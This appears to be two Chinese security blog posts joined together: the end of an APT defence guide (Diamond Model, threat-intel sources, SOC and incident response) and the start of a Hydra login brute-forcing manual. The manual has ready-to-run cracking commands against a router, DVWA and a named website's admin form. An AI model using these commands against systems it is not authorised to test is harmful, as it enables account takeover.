常用攻击/防御方式 最常见的C2渠道涉及web,DNS和电子邮件协议,C2基础设施可能被攻击方或目标自身所拥有 通过全面的恶意软件分析工具去发现部署和执行了C2的基础设施强化网络:汇总所有存在的互联网点,规范所有类型的代理流量(HTTP,DNS等);自定义C2模块:网络代理协议;代理类模块,包括“none”或“未分类”的域;DNS穿透和域名服务器毒化防御;实施开源研究发现新的C2攻击方式。

4.3.7行动:使命必达,不达目的,誓不罢休

在拒绝服务攻击案例中,中断不一定是攻击的最后一步。在攻击者成功地破坏、瘫痪或渗入系统后,攻击者可以重复这一过程。也可以转移到另一个阶段——盈利。Preempt Security的首席执行官 Ajit Sancheti 认为,攻击者可能采取任意形式的组合。比如,他们可以通过破坏基础设施来进行广告欺诈或发送垃圾邮件、向企业勒索赎金、出售他们在黑市上获得的数据,甚至劫持基础设施出租给其他罪犯。“攻击的盈利已经急剧增加。”他补充说,比特币的使用让攻击者更简便、安全地得到钱,这导致了攻击动机的变化。不同群体的数量参与也让黑市上被盗数据的消费变得更加复杂。这也为企业、执法部门和其他组织创造了合作破坏这一过程的机会。以被盗的支付卡信息为例。“一旦信用卡数据被盗,这些数据必须被测试、出售、用于获取商品或服务,反过来这些商品或服务必须转换为现金。”Splunk公司的安全研究主管Monzy Merza说。这一切都早已超出了传统网络杀伤链的范畴。黑市生态系统也在影响了网络攻击周期中的攻击准备环节。攻击者们会分享身份凭证列表、漏洞或被修改的应用程序。

攻击方 防御方
特点 激活键盘接入激活键盘接入,入侵者完成任务的目标。接下来会发生什么将取决于谁是在键盘上。 较长的攻击方有CKC7访问,更大的影响。包括网络数据包捕获,进行损失评估 – 防御方必须通过取证去尽可能快地检测到这一阶段
常用攻击/防御方式 收集用户凭据,权限提升,内部侦查,横向内网渗透,收集和传出数据,破坏系统,覆盖或破坏数据,偷偷修改数据 制定事件响应流程,包括行政参与和沟通计划。检测数据泄露,横向传输,未经授权证书的使用。即时响应分析反馈所有事件告警。预先部署监控节点端点快速分流。网络包捕获,还原攻击活动。让专家进行事件损害评估

4.4钻石模型

钻石模型是一个针对单个事件分析的模型,核心就是用来描述攻击者的技战术和目的,具体的钻石模型如下图所示:

Clipboard Image.png

钻石模型

钻石模型由三部分组成:置信度、元数据、社会-政治影响和技战术组合

社会政治影响:处于钻石模型上下两个顶点,上顶点表示攻击者,下顶点表示受害者也就是目标。攻击者和受害者之间的某种利益冲突或者是社会地位对立则会产生攻击的意图和发起攻击的原因,纵切面表示的就是社会政治影响。说大白话就是根据这俩人去发现攻击的意图。

技战术组合:技战术组合位于整个钻石模型的横切面,横切面的两个顶点分别为基础设施和技术能力,这里的基础设施和技术能力其实都是相对于攻击者而言的。

元数据:这个其实就是左边列出来的,攻击时间、攻击阶段、攻击结果、攻击方向、攻击手段、攻击资源利用。

置信度:也就是以上你分析出结果的可信程度。

钻石模型想要表达的其实就是针对单个安全事件,我们可以得到攻击者为什么想要攻击目标,打算用什么手段去攻击目标。

0×05.被透露的APT攻击

https://github.com/kbandla/APTnotes

此处不做赘述

0×06.一些APT信息获取渠道

1.第一类:Github

APT大事件:https://github.com/kbandla/APTnotes

2.第二类:互联网安全商

360威胁情报中心:https://ti.360.net/

IBM:https://exchange.xforce.ibmcloud.com/

3.第三类:开源安全威胁情报

Threatminer:https://www.threatminer.org/

ThreatBook:https://x.threatbook.cn/

4.付费类威胁情报

知道创宇:https://www.yunaq.com/gpt/

NOSEC:https://nosec.org/

5.资讯类威胁情报

安全牛:http://www.aqniu.com/category/threat-alert

安全客:http://bobao.360.cn/news/index

secwiki:https://www.sec-wiki.com/index.php

Tools:https://www.t00ls.net/

sec-un:https://www.sec-un.org/category/安全威胁情报/

IBM:https://securityintelligence.com/

天际友盟:https://www.sec-un.com/post_queryByPage.action?pager.page=1

Freebuf:http://www.freebuf.com/

ichunqiu:https://www.ichunqiu.com/

cybernews:https://www.cyberwarnews.info/

Secrss:https://www.secrss.com/

Exploit-DB:https://www.exploit-db.com/

TheHacknews:https://thehackernews.com/

Hack news:http://hackernews.cc/

6.网络空间搜索引擎威胁情报

Shodan:https://www.shodan.io/

censys:https://www.censys.io/

Fofa:https://fofa.so/

Zoomeye:https://www.zoomeye.org/

0×07.应对APT的思路或者想法

APT就像是《三体》里面黑暗法则提到的那样:

宇宙就是一座黑暗森林,每个文明都是带枪的猎人,像幽灵般潜行于林间,轻轻拨开挡路的树枝,竭力不让脚步发出一点儿声音,连呼吸都必须小心翼翼:他必须小心,因为林中到处都有与他一样潜行的猎人,如果他发现了别的生命,能做的只有一件事:开枪消灭之。在这片森林中,他人就是地狱,就是永恒的威胁,任何暴露自己存在的生命都将很快被消灭,这就是宇宙文明的图景,这就是对费米悖论的解释。

一旦被发现,能生存下来的是只有一方,或者都不能生存

7.1殊途同归原则

所有的攻击都是有目的性的,不论手段如何,目标都是你,如果目标都变了,那么攻击就不是针对你的攻击了,至少对被攻击方而言便是如此,所以这里要关注什么呢?

7.1.1资产

你要知道你所守护的东西是什么,如果你都不知道守护的资产有多大范围,资产有什么特点,是怎么区分的

a.资产范围

你需要确定组织团体所有的资产范围,去划分相应的区域,可以是业务为主划分,也可以是直接的安全域,确定范围最终的目的就是梳理流量,稍后再提,资产范围可以做到最小权限原则,规定组织内某个团队的访问控制,以及审计,如此便可以对团体行为做分析,就比如开发团队不会去调试网络,办公室人员不应该去接入生产和业务,安全基础设施人员也不会去服务基础设施进行大量拷贝,总之就是要给资产的普及区域进行规定。

b.资产属性

资产属性怎么说?其实个人比较支持把资产先分uat,prd,dr,oa这是内部的资产,还有一些合作方,也就是第三方,可以按对方团体名进行备注,资产属性定义资产的利用方的属性,也就是确定资产的使用方。

c.资产类别

这里面的资产包括基础设施资产,应用资产,信息资产,人员资产,隐性资产,基础设施就是网络,服务器,主机,安全设备,日常办公设备,能源设备等;应用资产一般指的是数据库,操作系统,中间价,容器,web应用等;信息资产包括组织合同,客户数据,制度流程,包括纸质,电子的所有存储信息;人员资产,主要是员工信息,组织架构,服务等等,隐性资产一般是公司企业名誉,社会价值等

资产类别确定资产的所属方。

那么我们就可以以一个类似公式的方法去分析最近资产的调用,使用,增删查改的操作:谁,什么时间,通过什么渠道,访问了哪些资产,资产间什么关系,动作有哪些?

7.2活动方式

所谓活动方式其实就是访问方式,还有一个更加洋气的名字:UBA(用户行为分析),我们先假设所有的访问都是不正常的,把所有的访问数据都在一个可恢复的环境,为什么要这么思考,因为人类的多样性,很难确定我们去执行操作的过程都是一样的,也就是说不会访问的潜意识是无意还是恶意,都应该做好监视,说到这里,我就提一下隐私权,作为个人是很不喜欢被监控的,所以要监视的环境要明确,目的要确定,继续回到活动原则,也就是说假设所有针对关键资产的动作都受到监控,这就是一部分数据源,监控能够在后续取证溯源得到很多提示。

a.上网行为监控

这里我举一个栗子:公司每周会有上网行为管理报表,会定时发布到SOC团队,而报表里面会有一个关于上网内容的分析,也就是员工访问的网址,当一名员工持续访问招聘网站时,达到半个月甚至更长的时候,基本可以确定这名员工是准备跳槽了,而此时基于人员安全就有可能会出现漏洞,当然我一直都是秉着人性本善的观念,但不排除能力较强或者不小心误入歧途的人,所以监控还是要有的,同时做好人员离职情况和权限变更的及时记录和追踪

b.邮件服务器监控

很多APT攻击的一个套路就是通过水坑式,鱼叉式的邮件钓鱼攻击,而且最近Office和Adobe频频出现0day,不排除一部分的终端或者服务器没有打上相应的补丁,当我们监控邮件服务器和邮件的时候,对邮件的传输进行监控,首先监控上班时间和下班时间的邮件发送情况,其次邮件附件的大小,和部分未加密的内容,最后是邮件入口,对钓鱼邮件进行清洗和处理

c.终端管理

之所以进行终端管理主要是针对两个方面:1.员工自己的安全意识薄弱导致终端被攻击,甚至导致内外网互通,业务和OA互通等等,短时间可能发现不了问题,当病毒,木马进入时,造成的损害就不仅仅是一台终端或者一小块OA区域了,可能是整个集团的的网络环境;2.员工内鬼,所谓千防万防家贼难防,不排除心有不忿的员工会通过终端拷贝企业信息,进行暗网交易。

所以终端管理也是必不可少的

7.3堵不如疏原则

传统安全都是不断的堆叠安全设备,安全产品,后来为了更好的利用这些安全的基础设施资源,出现了纵深防御,以层为例,一层一层的,自外而内的防御,但安全问题层出不穷,也表明这样依旧不能很好的保证组织的安全性,安全是个日益增长的问题,而不是一次性部署就可以解决的,安全的问题也不仅仅来自外部,内部损害,有意无意也不在少数,所以重点应该在疏,疏从三个方面入手:检测,应急,流程。

a.基础防护

基础防护:也就是传统安全的物理防护措施,但不仅限于物理防御,也包括管理,策略,软件上的防御,甚至针对安全基线的防护应该是算入到基础防护的一部分,前面提到堵不如疏,但这并不意味这就不需要堵,换句话来说,基础防护给攻击源增加的攻击时长,以及较短的检测时长和较短的应急时长可以保障一个企业的基本信息安全,攻击时间越长,检测时间越短,应急时间越短,那么被APT攻击成功的可能性也就越低。

b.检测

检测是需要数据的,而且数据量是庞大的,越准确的检测,越是需要人去维护的,那么前期我们需要做的是哪些检测,一般是容易出现异常的检测,一是访问日志,根据属性去确定一个人是否应该出现在某个资产,是否允许进行资产的操作;二是登陆行为,在指定的时间,指定的服务器

c.应急

应急主要考虑三个点:

1.应急措施是否完善

应急措施可以从资产的和应用,以及业务的角度出发,应急措施是属于BCM(业务持续性管理)的一部分,建议从以下几个点思考:

a.你的基础设施:包括安全设备反馈,服务器,网络,数据库,备份情况,日志,时钟等,一般来说,很少有人关注时钟,但是做应急和响应最重要的一个点就是时间

b.你的应用服务:应用服务器,Web,DNS解析,DDOS攻击,黑客攻击,代理解析等等,主要是考虑应用的持续性运行和故障处理

c.业务连续性:这里和应用连续性有点关联,只是有些企业存在业务期和非业务期,但实际上来说,应用服务不会完全关闭,这里考虑的主要是业务高峰期的响应,反黑产,反爬虫等对业务可用性,持续性造成影响的恢复手段

2.应急流程是否高效

检测一个应急流程是否有效的最佳方式就是测试,所以可以采取红蓝攻防的形式,或者请第三方外部授权攻击,注意测试要在数据尽可能真实,以及不影响业务的情况下

3.应急是否有效

在流程合理,应急预案充分的情况下,是时候展现真正的力量了,看应急后的恢复情况,主要参考,业务中断时间,一般来说小于10min-15min,具体还得依据业务重要性,不可一语而定,然后就是业务恢复时间,恢复时间越短,说明预案越简单高效,最后是业务恢复情况,直接进行相应的业务测试

d.维护

维护应该包含以下一些点:

1.定期的维护

定期的维护一般是指对硬件设施进行定期的检测和维护,这里检测的范围是尽可能的广,如果范围太大,可以依据资产类型和资产范围,进行抽样测试,但一年内所有机器必须检查一次,对性能不稳定,或者已经出现了故障的设备及时更换,这里要注意对硬件设备做监控,我就遇到过备用服务器故障半个月的事件,此事不谈也罢,最后,维护要遍及所有设备,不论网络,安全,服务器,基础的电力,空调,ups等等

2.异常的维护

异常的维护就简单了很多,主要是有故障就处理,这里需要注意到是,所有的故障处理要有文件可查,也就是说要做好申请,审批,处理等流程,如果紧急,后续也应该补上,有助于对相关事件进行内审

e.监控

监控即对整个环境做监控,这里的粒度是每一条日志,不管是应用日志还是系统日志,还有安全日志,统统收入,然后进行调优处理

监控一般是参考SOC安全运营中心的建设,建立一套完整的日志体系,这里有钱推荐使用大厂商的SOC,没钱就用OSSIM或者ELK(笔者还没建设过,所以也不做多余描述),至于国外一些产品。能不用就不用,因为售后很难受,真的。

最后提一下SOC建设的三个要素:

1.你要知道你的源:你要知道你可以收到的日志源,你可以对哪些日志进行处理,不过近期的soc有加入漏洞管理,基线,资产等元素,可以联系相关管理员获取相应的低权限账户和基础资源

2.人:必须要这么几类人的参与:上级领导的重视和关注, 安全专家的旁敲侧击,安全运维工程师的专注,最后应用,系统,业务,网络,监控,OA等区域的协助

3.在满足了1,2的基础上,开始去明确SOC的具体方向,你是关注内网安全,还是担心外网攻击,还是在意信息泄漏,还是资产管控,还是担心家贼难防等等,都需要你一步一步的去发掘,一般来说,有了源,需要做什么就是分步实施

最后引用Leo的一句话:70%的SOC建设和运营都会卡住

最后:再次总结一下APT攻击:

一些目的性极强,攻击方式极为先进,复杂多样,至少是在漏洞圈子公开之前就已经利用了,攻击时间跨度较长,攻击隐蔽的攻击。最好的判断方式就是根据业务级别来确定被攻击资产的重要性,把每一次异常都当成APT是保持一个安全攻城狮应有的意识!(但不要当成了APT事件处理了)

参考文献

https://en.wikipedia.org/wiki/Advanced_persistent_threat

http://www.freebuf.com/articles/neopoints/152457.html

https://mp.weixin.qq.com/s?__biz=MzI5MzY2MzM0Mw==∣=2247484237&idx=1&sn=a02b4576bac88de4089a259d3da3ccb9&chksm=ec6fe44ddb186d5b57eb61af95a7edbf24d4012fa640a9382e2e99f236f0215f2b3953658297&scene=38#wechat_redirect

https://github.com/Hack-with-Github/Awesome-Hacking

https://www.lockheedmartin.com/us/what-we-do/aerospace-defense/cyber/cyber-kill-chain.html

http://www.aqniu.com/news-views/29381.html

http://blog.51cto.com/yepeng

本文是Medusa和Hydra快速入门手册的第二部分,第一部分的传送门这两篇也是后续爆破篇的一部分,至于字典,放在最后,后续会把祖传的几十G字典准备好

Hydra入门使用手册

vanHauser

TheHackersChoice

http://www.thc.org/thc-hydra

目录

0×00什么是Hydra?

0x01Hydra-GTK

0×02如何安装

0×03如何使用Hydra?

0×04参考文档

0×05爆破实例

0×06免责说明

0×07联系我们

0×08防范措施

0×00什么是Hydra?

Clipboard Image.png

一个非常快速的网络登录破解程序,支持许多不同的服务。

查看功能集和服务覆盖页面-包括与ncrack和medusa的速度比较 当前版本:8.6

最后更新2017-07-21

(c)vanHauser/THC的2001-2017


@thc.org; http://www.thc.org

许多模块都是由David(dot)Maciejak @ gmail(dot)com编写的

BFG代码由Jan Dlabal提供


在AGPLv3下许可(见LICENSE文件)

请不要在军事或秘密服务机构使用,

或为非法目的。

0×00什么是Hydra?

首先,欢迎来到THCHydra项目的mini-website。

每个密码安全研究显示表明,最大的安全漏洞之一是密码。 而九头蛇是一个并发的登录破解程序,支持许多协议攻击。新模块更容易添加,除此之外,Hydra是灵活和迅速的

Hydra在Linux,Windows/Cygwin,Solaris11,FreeBSD8.1,OpenBSD,OSX,QNX/Blackberry上测试和编译,并在GPLv3下提供了特殊的OpenSSL许可证扩展。

目前此工具支持:

Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,

HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,

HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,

PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,

SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.

对于HTTP,POP3,IMAP和SMTP,支持多种登录机制,如plain和MD5等。

这个工具是一个概念模型,是 为了让安全员和安全顾问验证提供一种可能性:从远程系统到系统的未经授权的访问是多么容易。

该程序被写入了vanHauser,并得到了DavidMaciejak的额外支持。

0x01Hydra-GTK

1.选择目标,准备爆破

Clipboard Image.png

2.选择爆破ID,爆破字典

Clipboard Image.png

3.Hydra结果和输出

Clipboard Image.png

0×02如何安装

第一部分:下载

1.生产/发布版本:

最新的Hydra的源代码:hydra-8.6.tar.gz

(在所有基于UNIX的平台上编译-甚至MacOSX,Windows上的Cygwin,ARM-Linux,Android,iPhone,Blackberry等)

2.发展版本:

您可以下载并编译当前在GITHUB存储库中开源的开发版本的hydra:

https://github.com/vanhauser-thc/thc-hydra

可以选择:

 svn co https://github.com/vanhauser-thc/thc-hydra

或者:

 git clone https://github.com/vanhauser-thc/thc-hydra.git

注意这是开发版本!新功能-伴随着新的bug。可能会导致Hydra无法运行!

1.只有旧版的Hydra才能使用源代码,只要是v7.x,就可以让您在不寻常的旧平台上出现问题:

hydra-5.9.1-src.tar.gz

2.Win32/Cywin二进制版本:—不再更新—

http://www.cygwin.com安装cygwin并自行编译。如果您没有安装cygwin – 那你将如何通过cygwin做适当的安全测试呢?.

这里是旧版本的ARM和Palm二进制文件,我们已经不再维护:

ARM:hydra-5.0-arm.tar.gz

Palm:hydra-4.6-palm.zip

第二部分:编译

Hydra在所有具有gcc-Linux,所有BSD,MacOS/X,Windows,Solaris等上的Cygwin的平台上都可以编译。

$ tar xvzf hydra-5.7-src.tar.gz

$ cd hydra-5.7-src /

一旦解压缩,你需要配置Hydra。确保GCC,Make和其他依赖关系被安装以编译C程序。配置Hydra使用:

$ ./configure

它甚至可以在旧版本的SunOS,Ultrix等平台进行编译;Htdra有很多可选模块,比如用于SSH的库,SVN等网络协议。

如果有些库消失了,这些库可能就是不被您的二进制文件支持。如果您在Linux上,麻烦以下命令,这将安装所有必需的库:

Ubuntu / Debian:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev

Redhat / Fedora:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

OpenSuSE:

zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

以上所有可选的模块和功能不包括Oracle,SAPR/3和Apple文件协议-所以您需要从提供源的网站下载和安装。

对于Oracle,这是(基本安装和SDK包)的地址:

http : //www.oracle.com/technetwork/database/features/instant-client/index.html

对于所有其他Linux派生和基于BSD的系统,请使用系统软件安装程序并查找类似命名库,如上面的命令。

在所有其他情况下,您就只能手动下载所有源库并手动编译;Hydra的配置脚本会告诉您什么库是缺失,以及可以从哪里获得。

0×03如何使用Hydra

3.1.简单使用

当你刚刚进入“hydra”,您将看到一个重要的简短摘要:可用选项输入“./hydra -h”以查看所有可用的命令行选项。

请注意,不包括登录/密码文件。你需要自己生成它们,或者使用别人已经生成的;然而,默认密码列表存在,使用“dpl4hydra.sh”生成一个列表。对于Linux用户,可以使用GTK gui,尝试“./xhydra”

对于命令行用法,语法如下:

对于攻击一个目标或网络,您可以使用新的“://”样式:

hydra[某些命令行选项]协议://目标:端口/选项

旧模式也可以用于这些,另外如果你想的话,从文本文件中指定目标,你必须使用这个:

hydra[某些命令行选项][-s端口]目标协议选项

通过命令行选项,您可以指定要尝试的登录名,哪些密码,如果使用SSL,需要使用多少个并行任务才能进行攻击等。PROTOCOL是您要用于攻击的协议,例如ftp,smtp,http-get或许多其他可用目标都是要攻击的目标,选项是每个PROTOCOL模块特殊的可选值。

第一:选择您的目标

您有三个选项可以指定要攻击的目标:

1.命令行上的单个目标:只需将IP或DNS地址放入

2.命令行上的网络范围:CIDR规范如“192.168.0.0/24”

3.文本文件中的主机列表:每个条目一行(见下文)以文本形式形成一份txt文档

第二:选择您的协议

尝试避免telnet,因为检测到正确或错误的登录尝试是不可靠的。其次可以使用端口扫描器查看目标上启用了哪些协议。

第三:检查模块是否有可选参数

hydra-U协议:例如hydra-Usmtp

此外:目标端口

目标端口是可以自己选择的!如果没有提供默认公用端口,可以自行设置协议的端口;

如果指定要使用SSL(“-S”选项),则默认使用SSL公用端口。如果使用“://”符号,则必须使用“[”“]“括号去支持IPv6地址或CIDR(“192.168.0.0/24”)爆破:

hydra[一些命令行选项]ftp://[192.168.0.0/24]/

hydra[某些命令行选项]-6smtp://[2001:db8::1]/NTLM

请注意,所有hydra都是IPv4的!如果要攻击IPv6地址,则必须添加“-6”命令行选项。所有攻击都将会是IPv6!

如果要通过文本文件提供目标,则不能使用://符号,但使用旧样式,只提供协议(和模块选项):

hydra[某些命令行选项]-Mtargets.txtftp

可以在每个目标之后添加“:”,为每个目标条目提供端口,例如:

foo.bar.com

target.com:21

unusual.port.com:2121

default.used.here.com

127.0.0.1

127.0.0.1:2121

请注意,如果要附加IPv6目标,则必须提供-6选项,*必须*将IPv6地址放在文件[]中的括号中,

如下所示:

foo.bar.com

target.com:21

[FE80::1%的eth0]

[2001::1]

[2002::2]:8080

[2A01:24A:133:0:00:123:FF:1A]

3.2登录和密码

有很多关于登录和密码攻击的选项,比如使用-l进行登录,-p为密码,请告诉hydra这是唯一的登录尝试和/密码尝试。

使用-L进行登录,-P为密码,您可以提供带条目的文本文件。

例如:

hydra -l admin -p password ftp:// localhost /

hydra -L default_logins.txt -p test ftp:// localhost /

hydra -l admin -P common_passwords.txt ftp:// localhost /

hydra -L logins.txt -P passwords.txt ftp:// localhost /

此外,您可以通过“-e”选项根据登录尝试密码。“-e”选项有三个参数:

s - 尝试登录密码

n - 尝试一个空的密码

r - 反转登录并尝试密码

如果你想,例如尝试“尝试登录密码和”空密码“,你在命令行上指定“-e sn”。但是,尝试密码的方式还有两种:-p /P:

您可以使用文本文件,文本内的登录名和密码对由冒号分隔,例如:

管理员:密码

测试:测试

FOO:酒吧

这是一个常见的默认帐户样式列表,也是由dpl4hydra.sh与hydra一起提供的默认帐户文件生成器生成的。当使用这样一个文本文件与-C选项 – 请注意,在这种模式下你不能使用-l / -L / -p / -P选项(-e nsr但是可以)。例:

hydra -C default_accounts.txt ftp:// localhost /

最后,有一个使用-x选项的暴力模式(你不能使用-p / -P / -C),

使用-x minimum_length:maximum_length:charset

字符集定义是小写字母的“a”,大写字母的“A”,“1”的数字和其他任何你提供它是他们的真实代表。

例子:

-x1:3:a将所有小写字母从长度1到3生成密码

-x2:5:/将密码从长度2到5只包含斜杠

-x5:8:A1使用大写和数字生成长度为5到8的密码

例:

hydra -l ftp -x 3:3:a ftp:// localhost /

3.3模块的特殊选择

通过第三个命令行参数(TARGETSERVICEOPTIONAL)或-m命令行选项,您可以将一个选项传递给模块。许多模块使用这个,有几个需要它!要查看模块的特殊选项,输入:

hydra -U <module>

例如:

./hydra -U http-post-form

特殊选项可以通过-m参数作为第三个命令行传递,选项或服务://target/option格式。

例子(他们其实是一样的):

./hydra -l test -p test -m PLAIN 127.0.0.1 imap

./hydra -l test -p test 127.0.0.1 imap PLAIN

./hydra -l test -p test imap://127.0.0.1/PLAIN

3.4恢复被破坏/中断的会话

当Hydra被Control-C中止,死亡或者崩溃时,它会留下“hydra.restore”文件,文件包含所有必要的信息,所以我们可以恢复会话。但要注意该会话文件每5分钟写一次。此外:hydra.restore文件不能复制到不同的平台(例如从低位编码littleendian到高位编码bigendian,或从solaris系统到aix)

3.5如何扫描/破解代码

环境变量HYDRA_PROXY_HTTP定义了Web代理(只为http服务!)。

以下语法有效:

HYDRA_PROXY_HTTP = “http://123.45.67.89:8080/”

HYDRA_PROXY_HTTP = “HTTP://login:[email protected]:8080 /”

HYDRA_PROXY_HTTP = “proxylist.txt”

最后一个例子是一个包含多达64个代理的文本文件(同样的),格式定义作为其他示例。

对于所有其他服务,请使用HYDRA_PROXY变量进行扫描/破解。它使用相同的语法。例如:

HYDRA_PROXY = [connect | SOCKS4 | SOCKS5]:// [login:[email protected]] proxy_addr:proxy_port

例如:

HYDRA_PROXY =connect://proxy.anonymizer.com:8000

HYDRA_PROXY = SOCKS4:// AUTH:[email protected]:1080

HYDRA_PROXY = socksproxylist.txt

3.6额外的提示

*按可能性排序您的密码文件,并使用-u选项查找密码更快!

*单击你的字典文件!这可以节省你很多时间:-)

cat words.txt | sort | uniq > dictionary.txt

*如果您知道目标是使用密码策略(允许用户),只能选择最小长度为6的密码,至少包含一个密码,字母和一个数字等使用工具pw-inspector,用hydra包减少密码列表:

cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt

3.7结果输出

结果输出到stdio以及其他信息。通过-o命令行选项,结果也可以写入文件。使用-b,并且可以指定输出的格式。目前,这些被支持:

*文本-纯文本格式

*`jsonv1`-使用版本1.x的JSON数据(定义如下)。

*`json`-JSON数据使用最新版本的模式,目前在那里只是版本1。

如果使用JSON输出,结果文件可能不是有效的JSON,如果有的话,Hydra的严重错误。

###JSONSchema

以下是JSON输出示例。标记一些参数的注意事项:

*`errormessages`-通常打印的零个或多个字符串的数组在九头蛇的运行结束时到stderr。文本是非常自由的形式。

*“success”-指示Hydra是否正常运行,是否是没有错误(**NOT**如果检测到密码)。该参数是JSON值“true”或“false”取决于是否完成密码爆破。

*`quantityfound`-发现了多少用户名+密码组合。

*`jsonoutputversion`-模式的版本,1.00,1.01,1.11,2.00,2.03等Hydra将使2.0版本从低位跨越双字节高位,(而不是只有v1.1vsV1.10)。低版本是不断叠加的,所以1.02将包含比1.0版本更多字段去实现向后兼容。版本2.x也将会从1.x版本的输出去掉一些东西。

1.00的案例:

Version 1.00 example:

{
“errormessages”: [
"[ERROR] Error Message of Something”,
“[ERROR] Another Message”,
“These are very free form”
],
“generator”: {
“built”: “2017-03-01 14:44:22″,
“commandline”: “hydra -b jsonv1 -o results.json … …”,
“jsonoutputversion”: “1.00″,
“server”: “127.0.0.1″,
“service”: “http-post-form”,
“software”: “Hydra”,
“version”: “v8.5″
},
“quantityfound”: 2,
“results”: [
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "bill",
"port": 9999,
"service": "http-post-form"
},
{
"host": "127.0.0.1",
"login": "[email protected]",
"password": "joe",
"port": 9999,
"service": "http-post-form"
}
],
“success”: false
}

0×04参考文档

Hydra带有一个相当长的README文件来描述,有关使用和特殊选项的详细信息。当然你也可以参考本文快速入门。

但有时详细的在线帮助可以大大提高您的效率。

推荐阅读以下链接,部分可能需要梯子,自备哦

安装:

http://www.madirish.net/content/hydra-brute-force-utility

一般用法和选项:

http://www.aldeid.com/wiki/Thc-hydra

http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/(需要梯子)

HTTP基本认证:

https://www.owasp.org/index.php/TestingforBruteForce%28OWASP-AT-004%29

http://www.sillychicken.co.nz/Security/how-to-brute-force-your -router-in-you-windows.html

基于HTTP表单的auth:

http: //www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydrahttp://insidetrust.blogspot.com/2011/ 08 / using-hydra-to-dictionary-attack-web.html

http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html

https://www.owasp.org/index.php/Testing for Brute Force %28OWASP-AT-004%29

多协议:

http://www.madirish.net/content/hydra-brute-foece-utility

Telnet:

http://www.adeptus-mechanicus.com/codex/bflog/bflog.html

对于那些用DVWA测试的人来说,这就是你想要的:

hydra-ladmin-ppasswordhttp-get-form“/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Loginfailed”

以下对参考文档主要内容的详细介绍,取其精华,去其糟粕,同样,也会增加实例到渗透测试:爆破篇,敬请期待

0×05爆破实例

接下来将简单描述几个Hydra使用的实例!

实例1.爆破路由器

思路:当你登录路由器默认管理地址时,使用Hydra爆破

首先,找到你的路由器IP,你应该已经知道了,我的是192.168.1.1,此路由器的默认用户名为“admin”。如果由于某种原因,不记得密码了,现让我们来找回密码。

然后,打开准备好的Hydra,windows下打开CMD或Powershell打开命令提示符并进入到Hydra目录

运行下面的命令替换你的值(命令标志区分大小写)。

hydra -l {username} -P {password list path} -s {port} {IP Address} http-get /

实际命令如下所示:

hydra -l admin -P password.lst -s 80 192.168.1.1 http-get /

命令分解:

hydra – > hydra程序

-l – >(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表

-P – >提供密码list的路径。-p尝试单个密码,即“passw0rd”

-s – >端口目标您的路由器可能会运行在不同的端口,如8080

{IP地址}这个不用解释

http-get – >暴力破解的服务部分

“/” – >这将指定要定位的页面,如果这被排除,命令将不会运行。“/”只是表示不包括root“

如果你的字典和Hydra一样强,你将在输出行收获一个用户名和密码,这也意味着你成功了!

实例2.爆破HTTP

首先需要确认的几件事情:

返回页面

Post参数

文本尝试失败

返回页面

这通常与登录页面相同,但并不总是如此。所以只需查看页面的源代码,并找到一个方法让表单=“post”。动作值是将被“发布”的页面的值。正如你可以看到要发布的页面是“index.php”

Post参数

这些可以通过查看登录页面的源代码来找到。表单中的所有标签都将被发布。帖子名称将是标签的“name”属性。如果它有一个定义,该值将是“值”属性。相应的,你可以使用firefox插件Hackbar篡改数据扩展。

文本尝试失败

这是登录尝试失败时在网页上找到的文字。

把它们放在一起:

网站:www.sillychicken.co.nz/administrator/

返回页面:index.php

返回值是:usrname=(用户输入),pass=(用户输入),提交=Login

现在,我们从页面源中提取,尝试登录到管理页面,我们得到一个javascript弹出窗口,其中显示“用户名不正确,密码……”

“不正确的用户名”听起来像是不会显示的文字,如果是一个成功的登录,我们将使用它。

让我们将它们全部融入Hydra中:

hydra -l {username} -P {passwordlistpath} -s {port} -f {SiteAddress} http-post-form “{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failedlogintext}“

我的命令看起来像:

hydra -l hydra-Ppassword.list -s 80 -f www.sillychicken.co.nz http-post-form “/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username”

命令分析

hydra->hydra程序

-l->(小写“L”不要与大写字母混淆i)单个用户名到目标。使用大写-L来指定用户名列表)我已经为此演示设置了“hydra”帐户,并已被删除

-P->提供密码lis的路径。-p尝试单个密码,即“passw0rd”

-s->端口到http的默认端口为80

-f->在第一个匹配后退出程序

{SiteAddress}IEwww.sillychicken.com ->不要包含http://

http-post-form->服务到暴力 HydraREADME具有http-form-post的命令,将会发生错误

{Pathtopostbackpage}->所有后续站点地址必须以“/”开头

{USERNAME_NAME}->用户名回发变量名称

^USER^->这将被替换为由-l或-L用户名指定的用户名

^PASS^->这将被替换为定义的列表中的密码

{Failedlogintext}->只会在失败中找到的文本登录

注意事项:*确保是从http-post-form“到结束命令之后

实例3.爆破Drupal站点

安装九头蛇

为了安装Hydra,首先从http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz下载Hydra源码 unzip hydra:

$ tar xvzf hydra-5.7-src.tar.gz
